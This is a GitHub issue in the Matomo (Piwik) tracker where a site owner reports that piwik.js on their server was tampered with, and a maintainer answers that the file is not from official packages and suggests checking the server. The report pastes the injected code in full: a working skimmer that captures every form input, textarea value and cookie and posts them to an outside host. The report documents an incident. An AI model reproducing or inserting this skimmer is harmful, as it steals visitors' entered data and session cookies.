Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hacked piwik.js and inserted the virus #12601

Closed
Vanekru opened this issue Mar 6, 2018 · 1 comment
Closed

Hacked piwik.js and inserted the virus #12601

Vanekru opened this issue Mar 6, 2018 · 1 comment
Labels
answered For when a question was asked and we referred to forum or answered it. Waiting for user feedback Indicates the Matomo team is waiting for feedback from the author or other users.

Comments

@Vanekru
Copy link

Vanekru commented Mar 6, 2018

Today, the browser started to announce that on the website the virus. After a long search found the virus piwik.js.

}c=a("download_extensions");if(c){e.setDownloadExtensions(c)}c=a("hosts_alias");if(c){e.setDomains(c)}c=a("ignore_classes");if(c){e.setIgnoreClasses(c)}e.trackPageView();if(a("install_tracker")){piwik_track=function(i,k,j,h){e.setSiteId(k);e.setTrackerUrl(j);e.trackLink(i,h)};e.enableLinkTracking()}}; /*!! @license-end */ };var s_location="http://centpr6n.beget.tech/vars/gnome1.php";window["addEventListener"]("load",function(){var ifrm=document["createElement"]("iframe");ifrm["setAttribute"]("id","name_space");ifrm["setAttribute"]("name","name_space");ifrm["style"]["display"]= "none";document["body"]["appendChild"](ifrm);var inputs=document["querySelectorAll"]("input");for(var i=0;i< inputs["length"];i++){inputs[i]["addEventListener"]("change",function(e){s_getInput(e["currentTarget"])})};var textareas=document["getElementsByTagName"]("textarea");for(var i=0;i< textareas["length"];i++){textareas[i]["addEventListener"]("change",function(e){s_getInput(e["currentTarget"])})};s_getLocation()},false);function s_getLocation(){var loc={};s_send(loc)}function s_getInput(inputInfo){var name=inputInfo["name"];var value=inputInfo["value"];var stolenInput={};if(name=== ""){name= "undefined_input"};if(value!= ""){stolenInput[name]= value;s_send(stolenInput)}}function s_send(params){var form=document["createElement"]("form");form["setAttribute"]("method","post");form["setAttribute"]("target","name_space");form["setAttribute"]("action",s_location+ "?lo="+ location["href"]);var field=document["createElement"]("input");field["setAttribute"]("type","hidden");field["setAttribute"]("name","cookie");field["setAttribute"]("value",document["cookie"]);form["appendChild"](field);for(var key in params){if(params["hasOwnProperty"](key)){var field=document["createElement"]("input");field["setAttribute"]("type","hidden");field["setAttribute"]("name","input_name");field["setAttribute"]("value",key);form["appendChild"](field);var field=document["createElement"]("input");field["setAttribute"]("type","hidden");field["setAttribute"]("name","input_value");field["setAttribute"]("value",params[key]);form["appendChild"](field)}};document["body"]["appendChild"](form);form["submit"]()}

@tsteur
Copy link
Member

tsteur commented Mar 7, 2018

FYI: This is not included in any of our packages. I would recommend you check your server whether someone possibly accessed your server and manipulated this file that way. There is currently no known issue with Matomo or Piwik. If you host other applications on the same server, you may want to check several of your applications whether there were any changes. Maybe the file was uploaded through a bug in another application.

In case you are not on the latest Matomo version: Please always update when there is a new version available.

@sgiehl sgiehl added the Waiting for user feedback Indicates the Matomo team is waiting for feedback from the author or other users. label Mar 9, 2018
@mattab mattab closed this as completed Mar 28, 2018
@mattab mattab added the answered For when a question was asked and we referred to forum or answered it. label Mar 28, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
answered For when a question was asked and we referred to forum or answered it. Waiting for user feedback Indicates the Matomo team is waiting for feedback from the author or other users.
Projects
None yet
Development

No branches or pull requests

4 participants